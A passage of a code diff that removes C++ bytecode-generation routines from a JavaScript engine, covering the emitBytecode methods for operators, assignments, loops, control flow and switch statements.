-    RegisterID* src2 = generator.emitNode(m_expr2);
-    return generator.emitBinaryOp(opcodeID, generator.finalDestination(dst, src1.get()), src1.get(), src2, OperandTypes(m_expr1->resultDescriptor(), m_expr2->resultDescriptor()));
-}
-
-RegisterID* EqualNode::emitBytecode(BytecodeGenerator& generator, RegisterID* dst)
-{
-    if (m_expr1->isNull() || m_expr2->isNull()) {
-        RefPtr<RegisterID> src = generator.tempDestination(dst);
-        generator.emitNode(src.get(), m_expr1->isNull() ? m_expr2 : m_expr1);
-        return generator.emitUnaryOp(op_eq_null, generator.finalDestination(dst, src.get()), src.get());
-    }
-
-    RefPtr<RegisterID> src1 = generator.emitNodeForLeftHandSide(m_expr1, m_rightHasAssignments, m_expr2->isPure(generator));
-    RegisterID* src2 = generator.emitNode(m_expr2);
-    return generator.emitEqualityOp(op_eq, generator.finalDestination(dst, src1.get()), src1.get(), src2);
-}
-
-RegisterID* StrictEqualNode::emitBytecode(BytecodeGenerator& generator, RegisterID* dst)
-{
-    RefPtr<RegisterID> src1 = generator.emitNodeForLeftHandSide(m_expr1, m_rightHasAssignments, m_expr2->isPure(generator));
-    RegisterID* src2 = generator.emitNode(m_expr2);
-    return generator.emitEqualityOp(op_stricteq, generator.finalDestination(dst, src1.get()), src1.get(), src2);
-}
-
-RegisterID* ReverseBinaryOpNode::emitBytecode(BytecodeGenerator& generator, RegisterID* dst)
-{
-    RefPtr<RegisterID> src1 = generator.emitNodeForLeftHandSide(m_expr1, m_rightHasAssignments, m_expr2->isPure(generator));
-    RegisterID* src2 = generator.emitNode(m_expr2);
-    return generator.emitBinaryOp(opcodeID(), generator.finalDestination(dst, src1.get()), src2, src1.get(), OperandTypes(m_expr2->resultDescriptor(), m_expr1->resultDescriptor()));
-}
-
-RegisterID* ThrowableBinaryOpNode::emitBytecode(BytecodeGenerator& generator, RegisterID* dst)
-{
-    RefPtr<RegisterID> src1 = generator.emitNodeForLeftHandSide(m_expr1, m_rightHasAssignments, m_expr2->isPure(generator));
-    RegisterID* src2 = generator.emitNode(m_expr2);
-    generator.emitExpressionInfo(divot(), startOffset(), endOffset());
-    return generator.emitBinaryOp(opcodeID(), generator.finalDestination(dst, src1.get()), src1.get(), src2, OperandTypes(m_expr1->resultDescriptor(), m_expr2->resultDescriptor()));
-}
-
-RegisterID* InstanceOfNode::emitBytecode(BytecodeGenerator& generator, RegisterID* dst)
-{
-    RefPtr<RegisterID> src1 = generator.emitNodeForLeftHandSide(m_expr1, m_rightHasAssignments, m_expr2->isPure(generator));
-    RefPtr<RegisterID> src2 = generator.emitNode(m_expr2);
-
-    generator.emitExpressionInfo(divot(), startOffset(), endOffset());
-    generator.emitGetByIdExceptionInfo(op_instanceof);
-    RegisterID* src2Prototype = generator.emitGetById(generator.newTemporary(), src2.get(), generator.globalData()->propertyNames->prototype);
-
-    generator.emitExpressionInfo(divot(), startOffset(), endOffset());
-    return generator.emitInstanceOf(generator.finalDestination(dst, src1.get()), src1.get(), src2.get(), src2Prototype);
-}
-
-// ------------------------------ LogicalOpNode ----------------------------
-
-RegisterID* LogicalOpNode::emitBytecode(BytecodeGenerator& generator, RegisterID* dst)
-{
-    RefPtr<RegisterID> temp = generator.tempDestination(dst);
-    RefPtr<Label> target = generator.newLabel();
-    
-    generator.emitNode(temp.get(), m_expr1);
-    if (m_operator == OpLogicalAnd)
-        generator.emitJumpIfFalse(temp.get(), target.get());
-    else
-        generator.emitJumpIfTrue(temp.get(), target.get());
-    generator.emitNode(temp.get(), m_expr2);
-    generator.emitLabel(target.get());
-
-    return generator.moveToDestinationIfNeeded(dst, temp.get());
-}
-
-// ------------------------------ ConditionalNode ------------------------------
-
-RegisterID* ConditionalNode::emitBytecode(BytecodeGenerator& generator, RegisterID* dst)
-{
-    RefPtr<RegisterID> newDst = generator.finalDestination(dst);
-    RefPtr<Label> beforeElse = generator.newLabel();
-    RefPtr<Label> afterElse = generator.newLabel();
-
-    RegisterID* cond = generator.emitNode(m_logical);
-    generator.emitJumpIfFalse(cond, beforeElse.get());
-
-    generator.emitNode(newDst.get(), m_expr1);
-    generator.emitJump(afterElse.get());
-
-    generator.emitLabel(beforeElse.get());
-    generator.emitNode(newDst.get(), m_expr2);
-
-    generator.emitLabel(afterElse.get());
-
-    return newDst.get();
-}
-
-// ------------------------------ ReadModifyResolveNode -----------------------------------
-
-// FIXME: should this be moved to be a method on BytecodeGenerator?
-static ALWAYS_INLINE RegisterID* emitReadModifyAssignment(BytecodeGenerator& generator, RegisterID* dst, RegisterID* src1, ExpressionNode* m_right, Operator oper, OperandTypes types, ReadModifyResolveNode* emitExpressionInfoForMe = 0)
-{
-    OpcodeID opcodeID;
-    switch (oper) {
-        case OpMultEq:
-            opcodeID = op_mul;
-            break;
-        case OpDivEq:
-            opcodeID = op_div;
-            break;
-        case OpPlusEq:
-            if (m_right->isAdd() && m_right->resultDescriptor().definitelyIsString())
-                return static_cast<AddNode*>(m_right)->emitStrcat(generator, dst, src1, emitExpressionInfoForMe);
-            opcodeID = op_add;
-            break;
-        case OpMinusEq:
-            opcodeID = op_sub;
-            break;
-        case OpLShift:
-            opcodeID = op_lshift;
-            break;
-        case OpRShift:
-            opcodeID = op_rshift;
-            break;
-        case OpURShift:
-            opcodeID = op_urshift;
-            break;
-        case OpAndEq:
-            opcodeID = op_bitand;
-            break;
-        case OpXOrEq:
-            opcodeID = op_bitxor;
-            break;
-        case OpOrEq:
-            opcodeID = op_bitor;
-            break;
-        case OpModEq:
-            opcodeID = op_mod;
-            break;
-        default:
-            ASSERT_NOT_REACHED();
-            return dst;
-    }
-
-    RegisterID* src2 = generator.emitNode(m_right);
-
-    // Certain read-modify nodes require expression info to be emitted *after* m_right has been generated.
-    // If this is required the node is passed as 'emitExpressionInfoForMe'; do so now.
-    if (emitExpressionInfoForMe)
-        generator.emitExpressionInfo(emitExpressionInfoForMe->divot(), emitExpressionInfoForMe->startOffset(), emitExpressionInfoForMe->endOffset());
-
-    return generator.emitBinaryOp(opcodeID, dst, src1, src2, types);
-}
-
-RegisterID* ReadModifyResolveNode::emitBytecode(BytecodeGenerator& generator, RegisterID* dst)
-{
-    if (RegisterID* local = generator.registerFor(m_ident)) {
-        if (generator.isLocalConstant(m_ident)) {
-            return emitReadModifyAssignment(generator, generator.finalDestination(dst), local, m_right, m_operator, OperandTypes(ResultType::unknownType(), m_right->resultDescriptor()));
-        }
-        
-        if (generator.leftHandSideNeedsCopy(m_rightHasAssignments, m_right->isPure(generator))) {
-            RefPtr<RegisterID> result = generator.newTemporary();
-            generator.emitMove(result.get(), local);
-            emitReadModifyAssignment(generator, result.get(), result.get(), m_right, m_operator, OperandTypes(ResultType::unknownType(), m_right->resultDescriptor()));
-            generator.emitMove(local, result.get());
-            return generator.moveToDestinationIfNeeded(dst, result.get());
-        }
-        
-        RegisterID* result = emitReadModifyAssignment(generator, local, local, m_right, m_operator, OperandTypes(ResultType::unknownType(), m_right->resultDescriptor()));
-        return generator.moveToDestinationIfNeeded(dst, result);
-    }
-
-    int index = 0;
-    size_t depth = 0;
-    JSObject* globalObject = 0;
-    if (generator.findScopedProperty(m_ident, index, depth, true, globalObject) && index != missingSymbolMarker()) {
-        RefPtr<RegisterID> src1 = generator.emitGetScopedVar(generator.tempDestination(dst), depth, index, globalObject);
-        RegisterID* result = emitReadModifyAssignment(generator, generator.finalDestination(dst, src1.get()), src1.get(), m_right, m_operator, OperandTypes(ResultType::unknownType(), m_right->resultDescriptor()));
-        generator.emitPutScopedVar(depth, index, result, globalObject);
-        return result;
-    }
-
-    RefPtr<RegisterID> src1 = generator.tempDestination(dst);
-    generator.emitExpressionInfo(divot() - startOffset() + m_ident.size(), m_ident.size(), 0);
-    RefPtr<RegisterID> base = generator.emitResolveWithBase(generator.newTemporary(), src1.get(), m_ident);
-    RegisterID* result = emitReadModifyAssignment(generator, generator.finalDestination(dst, src1.get()), src1.get(), m_right, m_operator, OperandTypes(ResultType::unknownType(), m_right->resultDescriptor()), this);
-    return generator.emitPutById(base.get(), m_ident, result);
-}
-
-// ------------------------------ AssignResolveNode -----------------------------------
-
-RegisterID* AssignResolveNode::emitBytecode(BytecodeGenerator& generator, RegisterID* dst)
-{
-    if (RegisterID* local = generator.registerFor(m_ident)) {
-        if (generator.isLocalConstant(m_ident))
-            return generator.emitNode(dst, m_right);
-        
-        RegisterID* result = generator.emitNode(local, m_right);
-        return generator.moveToDestinationIfNeeded(dst, result);
-    }
-
-    int index = 0;
-    size_t depth = 0;
-    JSObject* globalObject = 0;
-    if (generator.findScopedProperty(m_ident, index, depth, true, globalObject) && index != missingSymbolMarker()) {
-        if (dst == generator.ignoredResult())
-            dst = 0;
-        RegisterID* value = generator.emitNode(dst, m_right);
-        generator.emitPutScopedVar(depth, index, value, globalObject);
-        return value;
-    }
-
-    RefPtr<RegisterID> base = generator.emitResolveBase(generator.newTemporary(), m_ident);
-    if (dst == generator.ignoredResult())
-        dst = 0;
-    RegisterID* value = generator.emitNode(dst, m_right);
-    generator.emitExpressionInfo(divot(), startOffset(), endOffset());
-    return generator.emitPutById(base.get(), m_ident, value);
-}
-
-// ------------------------------ AssignDotNode -----------------------------------
-
-RegisterID* AssignDotNode::emitBytecode(BytecodeGenerator& generator, RegisterID* dst)
-{
-    RefPtr<RegisterID> base = generator.emitNodeForLeftHandSide(m_base, m_rightHasAssignments, m_right->isPure(generator));
-    RefPtr<RegisterID> value = generator.destinationForAssignResult(dst);
-    RegisterID* result = generator.emitNode(value.get(), m_right);
-    generator.emitExpressionInfo(divot(), startOffset(), endOffset());
-    generator.emitPutById(base.get(), m_ident, result);
-    return generator.moveToDestinationIfNeeded(dst, result);
-}
-
-// ------------------------------ ReadModifyDotNode -----------------------------------
-
-RegisterID* ReadModifyDotNode::emitBytecode(BytecodeGenerator& generator, RegisterID* dst)
-{
-    RefPtr<RegisterID> base = generator.emitNodeForLeftHandSide(m_base, m_rightHasAssignments, m_right->isPure(generator));
-
-    generator.emitExpressionInfo(divot() - m_subexpressionDivotOffset, startOffset() - m_subexpressionDivotOffset, m_subexpressionEndOffset);
-    RefPtr<RegisterID> value = generator.emitGetById(generator.tempDestination(dst), base.get(), m_ident);
-    RegisterID* updatedValue = emitReadModifyAssignment(generator, generator.finalDestination(dst, value.get()), value.get(), m_right, m_operator, OperandTypes(ResultType::unknownType(), m_right->resultDescriptor()));
-
-    generator.emitExpressionInfo(divot(), startOffset(), endOffset());
-    return generator.emitPutById(base.get(), m_ident, updatedValue);
-}
-
-// ------------------------------ AssignErrorNode -----------------------------------
-
-RegisterID* AssignErrorNode::emitBytecode(BytecodeGenerator& generator, RegisterID*)
-{
-    return emitThrowError(generator, ReferenceError, "Left side of assignment is not a reference.");
-}
-
-// ------------------------------ AssignBracketNode -----------------------------------
-
-RegisterID* AssignBracketNode::emitBytecode(BytecodeGenerator& generator, RegisterID* dst)
-{
-    RefPtr<RegisterID> base = generator.emitNodeForLeftHandSide(m_base, m_subscriptHasAssignments || m_rightHasAssignments, m_subscript->isPure(generator) && m_right->isPure(generator));
-    RefPtr<RegisterID> property = generator.emitNodeForLeftHandSide(m_subscript, m_rightHasAssignments, m_right->isPure(generator));
-    RefPtr<RegisterID> value = generator.destinationForAssignResult(dst);
-    RegisterID* result = generator.emitNode(value.get(), m_right);
-
-    generator.emitExpressionInfo(divot(), startOffset(), endOffset());
-    generator.emitPutByVal(base.get(), property.get(), result);
-    return generator.moveToDestinationIfNeeded(dst, result);
-}
-
-// ------------------------------ ReadModifyBracketNode -----------------------------------
-
-RegisterID* ReadModifyBracketNode::emitBytecode(BytecodeGenerator& generator, RegisterID* dst)
-{
-    RefPtr<RegisterID> base = generator.emitNodeForLeftHandSide(m_base, m_subscriptHasAssignments || m_rightHasAssignments, m_subscript->isPure(generator) && m_right->isPure(generator));
-    RefPtr<RegisterID> property = generator.emitNodeForLeftHandSide(m_subscript, m_rightHasAssignments, m_right->isPure(generator));
-
-    generator.emitExpressionInfo(divot() - m_subexpressionDivotOffset, startOffset() - m_subexpressionDivotOffset, m_subexpressionEndOffset);
-    RefPtr<RegisterID> value = generator.emitGetByVal(generator.tempDestination(dst), base.get(), property.get());
-    RegisterID* updatedValue = emitReadModifyAssignment(generator, generator.finalDestination(dst, value.get()), value.get(), m_right, m_operator, OperandTypes(ResultType::unknownType(), m_right->resultDescriptor()));
-
-    generator.emitExpressionInfo(divot(), startOffset(), endOffset());
-    generator.emitPutByVal(base.get(), property.get(), updatedValue);
-
-    return updatedValue;
-}
-
-// ------------------------------ CommaNode ------------------------------------
-
-RegisterID* CommaNode::emitBytecode(BytecodeGenerator& generator, RegisterID* dst)
-{
-    ASSERT(m_expressions.size() > 1);
-    for (size_t i = 0; i < m_expressions.size() - 1; i++)
-        generator.emitNode(generator.ignoredResult(), m_expressions[i]);
-    return generator.emitNode(dst, m_expressions.last());
-}
-
-// ------------------------------ ConstDeclNode ------------------------------------
-
-RegisterID* ConstDeclNode::emitCodeSingle(BytecodeGenerator& generator)
-{
-    if (RegisterID* local = generator.constRegisterFor(m_ident)) {
-        if (!m_init)
-            return local;
-
-        return generator.emitNode(local, m_init);
-    }
-
-    if (generator.codeType() != EvalCode) {
-        if (m_init)
-            return generator.emitNode(m_init);
-        else
-            return generator.emitResolve(generator.newTemporary(), m_ident);
-    }
-    // FIXME: While this code should only be hit in eval code, it will potentially
-    // assign to the wrong base if m_ident exists in an intervening dynamic scope.
-    RefPtr<RegisterID> base = generator.emitResolveBase(generator.newTemporary(), m_ident);
-    RegisterID* value = m_init ? generator.emitNode(m_init) : generator.emitLoad(0, jsUndefined());
-    return generator.emitPutById(base.get(), m_ident, value);
-}
-
-RegisterID* ConstDeclNode::emitBytecode(BytecodeGenerator& generator, RegisterID*)
-{
-    RegisterID* result = 0;
-    for (ConstDeclNode* n = this; n; n = n->m_next)
-        result = n->emitCodeSingle(generator);
-
-    return result;
-}
-
-// ------------------------------ ConstStatementNode -----------------------------
-
-RegisterID* ConstStatementNode::emitBytecode(BytecodeGenerator& generator, RegisterID*)
-{
-    generator.emitDebugHook(WillExecuteStatement, firstLine(), lastLine());
-    return generator.emitNode(m_next);
-}
-
-// ------------------------------ SourceElements -------------------------------
-
-inline void SourceElements::emitBytecode(BytecodeGenerator& generator, RegisterID* dst)
-{
-    size_t size = m_statements.size();
-    for (size_t i = 0; i < size; ++i)
-        generator.emitNode(dst, m_statements[i]);
-}
-
-// ------------------------------ BlockNode ------------------------------------
-
-inline StatementNode* BlockNode::lastStatement() const
-{
-    return m_statements ? m_statements->lastStatement() : 0;
-}
-
-RegisterID* BlockNode::emitBytecode(BytecodeGenerator& generator, RegisterID* dst)
-{
-    if (m_statements)
-        m_statements->emitBytecode(generator, dst);
-    return 0;
-}
-
-// ------------------------------ EmptyStatementNode ---------------------------
-
-RegisterID* EmptyStatementNode::emitBytecode(BytecodeGenerator& generator, RegisterID* dst)
-{
-    generator.emitDebugHook(WillExecuteStatement, firstLine(), lastLine());
-    return dst;
-}
-
-// ------------------------------ DebuggerStatementNode ---------------------------
-
-RegisterID* DebuggerStatementNode::emitBytecode(BytecodeGenerator& generator, RegisterID* dst)
-{
-    generator.emitDebugHook(DidReachBreakpoint, firstLine(), lastLine());
-    return dst;
-}
-
-// ------------------------------ ExprStatementNode ----------------------------
-
-RegisterID* ExprStatementNode::emitBytecode(BytecodeGenerator& generator, RegisterID* dst)
-{
-    ASSERT(m_expr);
-    generator.emitDebugHook(WillExecuteStatement, firstLine(), lastLine()); 
-    return generator.emitNode(dst, m_expr);
-}
-
-// ------------------------------ VarStatementNode ----------------------------
-
-RegisterID* VarStatementNode::emitBytecode(BytecodeGenerator& generator, RegisterID*)
-{
-    ASSERT(m_expr);
-    generator.emitDebugHook(WillExecuteStatement, firstLine(), lastLine());
-    return generator.emitNode(m_expr);
-}
-
-// ------------------------------ IfNode ---------------------------------------
-
-RegisterID* IfNode::emitBytecode(BytecodeGenerator& generator, RegisterID* dst)
-{
-    generator.emitDebugHook(WillExecuteStatement, firstLine(), lastLine());
-    
-    RefPtr<Label> afterThen = generator.newLabel();
-
-    RegisterID* cond = generator.emitNode(m_condition);
-    generator.emitJumpIfFalse(cond, afterThen.get());
-
-    generator.emitNode(dst, m_ifBlock);
-    generator.emitLabel(afterThen.get());
-
-    // FIXME: This should return the last statement executed so that it can be returned as a Completion.
-    return 0;
-}
-
-// ------------------------------ IfElseNode ---------------------------------------
-
-RegisterID* IfElseNode::emitBytecode(BytecodeGenerator& generator, RegisterID* dst)
-{
-    generator.emitDebugHook(WillExecuteStatement, firstLine(), lastLine());
-    
-    RefPtr<Label> beforeElse = generator.newLabel();
-    RefPtr<Label> afterElse = generator.newLabel();
-
-    RegisterID* cond = generator.emitNode(m_condition);
-    generator.emitJumpIfFalse(cond, beforeElse.get());
-
-    generator.emitNode(dst, m_ifBlock);
-    generator.emitJump(afterElse.get());
-
-    generator.emitLabel(beforeElse.get());
-
-    generator.emitNode(dst, m_elseBlock);
-
-    generator.emitLabel(afterElse.get());
-
-    // FIXME: This should return the last statement executed so that it can be returned as a Completion.
-    return 0;
-}
-
-// ------------------------------ DoWhileNode ----------------------------------
-
-RegisterID* DoWhileNode::emitBytecode(BytecodeGenerator& generator, RegisterID* dst)
-{
-    RefPtr<LabelScope> scope = generator.newLabelScope(LabelScope::Loop);
-
-    RefPtr<Label> topOfLoop = generator.newLabel();
-    generator.emitLabel(topOfLoop.get());
-
-    generator.emitDebugHook(WillExecuteStatement, firstLine(), lastLine());
-   
-    RefPtr<RegisterID> result = generator.emitNode(dst, m_statement);
-
-    generator.emitLabel(scope->continueTarget());
-    generator.emitDebugHook(WillExecuteStatement, m_expr->lineNo(), m_expr->lineNo());
-    RegisterID* cond = generator.emitNode(m_expr);
-    generator.emitJumpIfTrue(cond, topOfLoop.get());
-
-    generator.emitLabel(scope->breakTarget());
-    return result.get();
-}
-
-// ------------------------------ WhileNode ------------------------------------
-
-RegisterID* WhileNode::emitBytecode(BytecodeGenerator& generator, RegisterID* dst)
-{
-    RefPtr<LabelScope> scope = generator.newLabelScope(LabelScope::Loop);
-
-    generator.emitJump(scope->continueTarget());
-
-    RefPtr<Label> topOfLoop = generator.newLabel();
-    generator.emitLabel(topOfLoop.get());
-    
-    generator.emitNode(dst, m_statement);
-
-    generator.emitLabel(scope->continueTarget());
-    generator.emitDebugHook(WillExecuteStatement, m_expr->lineNo(), m_expr->lineNo());
-    RegisterID* cond = generator.emitNode(m_expr);
-    generator.emitJumpIfTrue(cond, topOfLoop.get());
-
-    generator.emitLabel(scope->breakTarget());
-    
-    // FIXME: This should return the last statement executed so that it can be returned as a Completion
-    return 0;
-}
-
-// ------------------------------ ForNode --------------------------------------
-
-RegisterID* ForNode::emitBytecode(BytecodeGenerator& generator, RegisterID* dst)
-{
-    RefPtr<LabelScope> scope = generator.newLabelScope(LabelScope::Loop);
-
-    generator.emitDebugHook(WillExecuteStatement, firstLine(), lastLine());
-
-    if (m_expr1)
-        generator.emitNode(generator.ignoredResult(), m_expr1);
-
-    RefPtr<Label> condition = generator.newLabel();
-    generator.emitJump(condition.get());
-
-    RefPtr<Label> topOfLoop = generator.newLabel();
-    generator.emitLabel(topOfLoop.get());
-
-    RefPtr<RegisterID> result = generator.emitNode(dst, m_statement);
-
-    generator.emitLabel(scope->continueTarget());
-    generator.emitDebugHook(WillExecuteStatement, firstLine(), lastLine());
-    if (m_expr3)
-        generator.emitNode(generator.ignoredResult(), m_expr3);
-
-    generator.emitLabel(condition.get());
-    if (m_expr2) {
-        RegisterID* cond = generator.emitNode(m_expr2);
-        generator.emitJumpIfTrue(cond, topOfLoop.get());
-    } else
-        generator.emitJump(topOfLoop.get());
-
-    generator.emitLabel(scope->breakTarget());
-    return result.get();
-}
-
-// ------------------------------ ForInNode ------------------------------------
-
-RegisterID* ForInNode::emitBytecode(BytecodeGenerator& generator, RegisterID* dst)
-{
-    RefPtr<LabelScope> scope = generator.newLabelScope(LabelScope::Loop);
-
-    if (!m_lexpr->isLocation())
-        return emitThrowError(generator, ReferenceError, "Left side of for-in statement is not a reference.");
-
-    generator.emitDebugHook(WillExecuteStatement, firstLine(), lastLine());
-
-    if (m_init)
-        generator.emitNode(generator.ignoredResult(), m_init);
-
-    RefPtr<RegisterID> base = generator.newTemporary();
-    generator.emitNode(base.get(), m_expr);
-    RefPtr<RegisterID> i = generator.newTemporary();
-    RefPtr<RegisterID> size = generator.newTemporary();
-    RefPtr<RegisterID> expectedSubscript;
-    RefPtr<RegisterID> iter = generator.emitGetPropertyNames(generator.newTemporary(), base.get(), i.get(), size.get(), scope->breakTarget());
-    generator.emitJump(scope->continueTarget());
-
-    RefPtr<Label> loopStart = generator.newLabel();
-    generator.emitLabel(loopStart.get());
-
-    RegisterID* propertyName;
-    bool optimizedForinAccess = false;
-    if (m_lexpr->isResolveNode()) {
-        const Identifier& ident = static_cast<ResolveNode*>(m_lexpr)->identifier();
-        propertyName = generator.registerFor(ident);
-        if (!propertyName) {
-            propertyName = generator.newTemporary();
-            RefPtr<RegisterID> protect = propertyName;
-            RegisterID* base = generator.emitResolveBase(generator.newTemporary(), ident);
-
-            generator.emitExpressionInfo(divot(), startOffset(), endOffset());
-            generator.emitPutById(base, ident, propertyName);
-        } else {
-            expectedSubscript = generator.emitMove(generator.newTemporary(), propertyName);
-            generator.pushOptimisedForIn(expectedSubscript.get(), iter.get(), i.get(), propertyName);
-            optimizedForinAccess = true;
-        }
-    } else if (m_lexpr->isDotAccessorNode()) {
-        DotAccessorNode* assignNode = static_cast<DotAccessorNode*>(m_lexpr);
-        const Identifier& ident = assignNode->identifier();
-        propertyName = generator.newTemporary();
-        RefPtr<RegisterID> protect = propertyName;
-        RegisterID* base = generator.emitNode(assignNode->base());
-
-        generator.emitExpressionInfo(assignNode->divot(), assignNode->startOffset(), assignNode->endOffset());
-        generator.emitPutById(base, ident, propertyName);
-    } else {
-        ASSERT(m_lexpr->isBracketAccessorNode());
-        BracketAccessorNode* assignNode = static_cast<BracketAccessorNode*>(m_lexpr);
-        propertyName = generator.newTemporary();
-        RefPtr<RegisterID> protect = propertyName;
-        RefPtr<RegisterID> base = generator.emitNode(assignNode->base());
-        RegisterID* subscript = generator.emitNode(assignNode->subscript());
-        
-        generator.emitExpressionInfo(assignNode->divot(), assignNode->startOffset(), assignNode->endOffset());
-        generator.emitPutByVal(base.get(), subscript, propertyName);
-    }   
-
-    generator.emitNode(dst, m_statement);
-
-    if (optimizedForinAccess)
-        generator.popOptimisedForIn();
-
-    generator.emitLabel(scope->continueTarget());
-    generator.emitNextPropertyName(propertyName, base.get(), i.get(), size.get(), iter.get(), loopStart.get());
-    generator.emitDebugHook(WillExecuteStatement, firstLine(), lastLine());
-    generator.emitLabel(scope->breakTarget());
-    return dst;
-}
-
-// ------------------------------ ContinueNode ---------------------------------
-
-// ECMA 12.7
-RegisterID* ContinueNode::emitBytecode(BytecodeGenerator& generator, RegisterID* dst)
-{
-    generator.emitDebugHook(WillExecuteStatement, firstLine(), lastLine());
-    
-    LabelScope* scope = generator.continueTarget(m_ident);
-
-    if (!scope)
-        return m_ident.isEmpty()
-            ? emitThrowError(generator, SyntaxError, "Invalid continue statement.")
-            : emitThrowError(generator, SyntaxError, "Undefined label: '%s'.", m_ident);
-
-    generator.emitJumpScopes(scope->continueTarget(), scope->scopeDepth());
-    return dst;
-}
-
-// ------------------------------ BreakNode ------------------------------------
-
-// ECMA 12.8
-RegisterID* BreakNode::emitBytecode(BytecodeGenerator& generator, RegisterID* dst)
-{
-    generator.emitDebugHook(WillExecuteStatement, firstLine(), lastLine());
-    
-    LabelScope* scope = generator.breakTarget(m_ident);
-    
-    if (!scope)
-        return m_ident.isEmpty()
-            ? emitThrowError(generator, SyntaxError, "Invalid break statement.")
-            : emitThrowError(generator, SyntaxError, "Undefined label: '%s'.", m_ident);
-
-    generator.emitJumpScopes(scope->breakTarget(), scope->scopeDepth());
-    return dst;
-}
-
-// ------------------------------ ReturnNode -----------------------------------
-
-RegisterID* ReturnNode::emitBytecode(BytecodeGenerator& generator, RegisterID* dst)
-{
-    generator.emitDebugHook(WillExecuteStatement, firstLine(), lastLine());
-    if (generator.codeType() != FunctionCode)
-        return emitThrowError(generator, SyntaxError, "Invalid return statement.");
-
-    if (dst == generator.ignoredResult())
-        dst = 0;
-    RegisterID* r0 = m_value ? generator.emitNode(dst, m_value) : generator.emitLoad(dst, jsUndefined());
-    RefPtr<RegisterID> returnRegister;
-    if (generator.scopeDepth()) {
-        RefPtr<Label> l0 = generator.newLabel();
-        if (generator.hasFinaliser() && !r0->isTemporary()) {
-            returnRegister = generator.emitMove(generator.newTemporary(), r0);
-            r0 = returnRegister.get();
-        }
-        generator.emitJumpScopes(l0.get(), 0);
-        generator.emitLabel(l0.get());
-    }
-    generator.emitDebugHook(WillLeaveCallFrame, firstLine(), lastLine());
-    return generator.emitReturn(r0);
-}
-
-// ------------------------------ WithNode -------------------------------------
-
-RegisterID* WithNode::emitBytecode(BytecodeGenerator& generator, RegisterID* dst)
-{
-    generator.emitDebugHook(WillExecuteStatement, firstLine(), lastLine());
-    
-    RefPtr<RegisterID> scope = generator.newTemporary();
-    generator.emitNode(scope.get(), m_expr); // scope must be protected until popped
-    generator.emitExpressionInfo(m_divot, m_expressionLength, 0);
-    generator.emitPushScope(scope.get());
-    RegisterID* result = generator.emitNode(dst, m_statement);
-    generator.emitPopScope();
-    return result;
-}
-
-// ------------------------------ CaseClauseNode --------------------------------
-
-inline void CaseClauseNode::emitBytecode(BytecodeGenerator& generator, RegisterID* dst)
-{
-    if (m_statements)
-        m_statements->emitBytecode(generator, dst);
-}
-
-// ------------------------------ CaseBlockNode --------------------------------
-
-enum SwitchKind { 
-    SwitchUnset = 0,
-    SwitchNumber = 1, 
-    SwitchString = 2, 
-    SwitchNeither = 3 
-};
-
-static void processClauseList(ClauseListNode* list, Vector<ExpressionNode*, 8>& literalVector, SwitchKind& typeForTable, bool& singleCharacterSwitch, int32_t& min_num, int32_t& max_num)
-{
-    for (; list; list = list->getNext()) {
-        ExpressionNode* clauseExpression = list->getClause()->expr();
-        literalVector.append(clauseExpression);
-        if (clauseExpression->isNumber()) {
-            double value = static_cast<NumberNode*>(clauseExpression)->value();
-            int32_t intVal = static_cast<int32_t>(value);
-            if ((typeForTable & ~SwitchNumber) || (intVal != value)) {
-                typeForTable = SwitchNeither;
-                break;
-            }
-            if (intVal < min_num)
-                min_num = intVal;
-            if (intVal > max_num)
-                max_num = intVal;
-            typeForTable = SwitchNumber;
-            continue;
-        }
-        if (clauseExpression->isString()) {
-            if (typeForTable & ~SwitchString) {
-                typeForTable = SwitchNeither;
-                break;
-            }
-            const UString& value = static_cast<StringNode*>(clauseExpression)->value().ustring();
-            if (singleCharacterSwitch &= value.size() == 1) {
-                int32_t intVal = value.rep()->data()[0];
-                if (intVal < min_num)
-                    min_num = intVal;
-                if (intVal > max_num)
-                    max_num = intVal;
-            }
-            typeForTable = SwitchString;
-            continue;
-        }
-        typeForTable = SwitchNeither;
-        break;        
-    }
-}
-    
-SwitchInfo::SwitchType CaseBlockNode::tryOptimizedSwitch(Vector<ExpressionNode*, 8>& literalVector, int32_t& min_num, int32_t& max_num)
-{
-    SwitchKind typeForTable = SwitchUnset;
-    bool singleCharacterSwitch = true;
-    
-    processClauseList(m_list1, literalVector, typeForTable, singleCharacterSwitch, min_num, max_num);
-    processClauseList(m_list2, literalVector, typeForTable, singleCharacterSwitch, min_num, max_num);
-    
-    if (typeForTable == SwitchUnset || typeForTable == SwitchNeither)
-        return SwitchInfo::SwitchNone;
-    
-    if (typeForTable == SwitchNumber) {
-        int32_t range = max_num - min_num;
-        if (min_num <= max_num && range <= 1000 && (range / literalVector.size()) < 10)
-            return SwitchInfo::SwitchImmediate;
-        return SwitchInfo::SwitchNone;
-    } 
-    
-    ASSERT(typeForTable == SwitchString);
-    
-    if (singleCharacterSwitch) {
-        int32_t range = max_num - min_num;
-        if (min_num <= max_num && range <= 1000 && (range / literalVector.size()) < 10)
-            return SwitchInfo::SwitchCharacter;
-    }
-
-    return SwitchInfo::SwitchString;
-}
-
-RegisterID* CaseBlockNode::emitBytecodeForBlock(BytecodeGenerator& generator, RegisterID* switchExpression, RegisterID* dst)
-{
-    RefPtr<Label> defaultLabel;
-    Vector<RefPtr<Label>, 8> labelVector;
-    Vector<ExpressionNode*, 8> literalVector;
-    int32_t min_num = std::numeric_limits<int32_t>::max();
-    int32_t max_num = std::numeric_limits<int32_t>::min();
-    SwitchInfo::SwitchType switchType = tryOptimizedSwitch(literalVector, min_num, max_num);
-
-    if (switchType != SwitchInfo::SwitchNone) {
-        // Prepare the various labels
-        for (uint32_t i = 0; i < literalVector.size(); i++)
-            labelVector.append(generator.newLabel());
-        defaultLabel = generator.newLabel();
-        generator.beginSwitch(switchExpression, switchType);
-    } else {
-        // Setup jumps
-        for (ClauseListNode* list = m_list1; list; list = list->getNext()) {
-            RefPtr<RegisterID> clauseVal = generator.newTemporary();
-            generator.emitNode(clauseVal.get(), list->getClause()->expr());
-            generator.emitBinaryOp(op_stricteq, clauseVal.get(), clauseVal.get(), switchExpression, OperandTypes());
-            labelVector.append(generator.newLabel());
-            generator.emitJumpIfTrue(clauseVal.get(), labelVector[labelVector.size() - 1].get());
-        }
-        
-        for (ClauseListNode* list = m_list2; list; list = list->getNext()) {
-            RefPtr<RegisterID> clauseVal = generator.newTemporary();
-            generator.emitNode(clauseVal.get(), list->getClause()->expr());
-            generator.emitBinaryOp(op_stricteq, clauseVal.get(), clauseVal.get(), switchExpression, OperandTypes());
-            labelVector.append(generator.newLabel());
-            generator.emitJumpIfTrue(clauseVal.get(), labelVector[labelVector.size() - 1].get());
-        }
